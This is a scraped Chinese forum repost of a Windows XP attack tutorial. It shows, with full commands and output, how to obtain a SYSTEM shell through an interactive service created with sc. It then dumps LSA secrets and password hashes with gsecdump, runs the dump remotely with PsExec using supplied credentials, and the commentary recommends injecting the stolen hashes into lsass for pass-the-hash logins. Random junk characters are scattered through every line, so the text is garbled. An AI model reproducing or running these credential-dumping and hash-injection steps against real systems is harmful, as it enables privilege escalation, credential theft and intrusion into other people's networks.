o get a DOS Prompt as NT system:$ S _$ a! P8 ?# r; }* m9 s' l5 ?* K# I
1 {; `2 I) ]5 l, c& V
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact! t7 w! Z" _) F3 I
[SC] CreateService SUCCESS
& L% W1 Q# ]+ g
& }) s6 U6 j& Y0 [& @1 j* \% x; AC:\>sc start shellcmdline* ^0 q, V1 G/ B: {1 K. W
[SC] StartService FAILED 1053:& B+ a0 v4 ~: L2 d; ]$ X
% u6 r5 _5 d6 g& g
The service did not respond to the start or control request in a timely fashion.
) W0 e! @$ P6 ~' b- W% L2 r% H- N1 y8 T. ?, \, |8 q! C
C:\>sc delete shellcmdline0 k+ N; ~ N! w" I: z; ^1 O
[SC] DeleteService SUCCESS
6 f% u+ x! S( A6 f0 a7 y6 b, x& N$ C) p9 G* M' h, l$ O/ g
------------7 o6 y- ^* l- c* e3 V6 ~* P _
! t* I5 @0 y, m4 h; ^% GThen in the new DOS window:0 ^' \" u- c8 G% c
+ b5 F1 p; R9 W6 o0 M" {9 Z$ o$ W
Microsoft Windows XP [Version 5.1.2600], {, V$ Q- @. P6 L( q/ N
(C) Copyright 1985-2001 Microsoft Corp.. o V4 T$ I K4 T5 i+ h
: D. N1 k4 e, X
C:\WINDOWS\system32>whoami) G' ?* \9 r, P* _% e C2 [) z
NT AUTHORITY\SYSTEM7 z7 U+ {1 D Q' z
5 k8 h% e1 K3 Y$ n" @8 A
C:\WINDOWS\system32>gsecdump -h
" }: P$ L, ?( q9 @* T$ P- e! fgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)' I& r4 q, @( J& S. A
usage: gsecdump [options]4 d. \" i9 E& q7 m( v
/ q/ o- l+ I3 c: {5 [( v( _) hoptions:
A0 } U, z; O5 f: x. Q2 |6 n) k-h [ --help ] show help4 V! `/ X4 g _& I) a% p
-a [ --dump_all ] dump all secrets' l- |) F0 N. O: d! u
-l [ --dump_lsa ] dump lsa secrets z$ o3 s" `! v0 ~) V* `
-w [ --dump_wireless ] dump microsoft wireless connections: B5 a1 O) l: j: Z
-u [ --dump_usedhashes ] dump hashes from active logon sessions
# y: {1 H# J1 P-s [ --dump_hashes ] dump hashes from SAM/AD
- A3 t h4 n6 d/ s- C7 v
6 X$ ?" ^2 G9 yAlthough I like to use:
# ^4 N: }9 [5 o& d; e: k
/ T, f5 r Z D$ b$ [PsExec v1.83 - Execute processes remotely* W1 p; @+ y1 _- a( ?$ T# c
Copyright (C) 2001-2007 Mark Russinovich: g; o ] i2 z$ R) U& a& \
Sysinternals - 链接标记[url]www.sysinternals.com[/url]( n/ G2 ^; x# T* c& H2 @" y$ \
, H% m& z% u) z A
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT6 m9 G) }; {% e
+ r! @* A8 J7 uto get the hashes from active logon sessions of a remote system.
+ K0 S" m8 F7 v+ R9 S
7 F+ f! V7 S" m3 j" q' }) s4 jThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables., K. C: s- {! n4 V, {- Y9 t0 D
; R4 @6 Y g+ q i提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.6 ] z1 ?. B: Z
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]# C! U# O4 L7 k8 R! c) n r
* a) v8 o7 z6 G/ x: k# g! |; V$ H
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。! R* t) a7 g+ _" A) r& h6 r
|
发表于 2012-11-6 21:09:29
收藏
支持
反对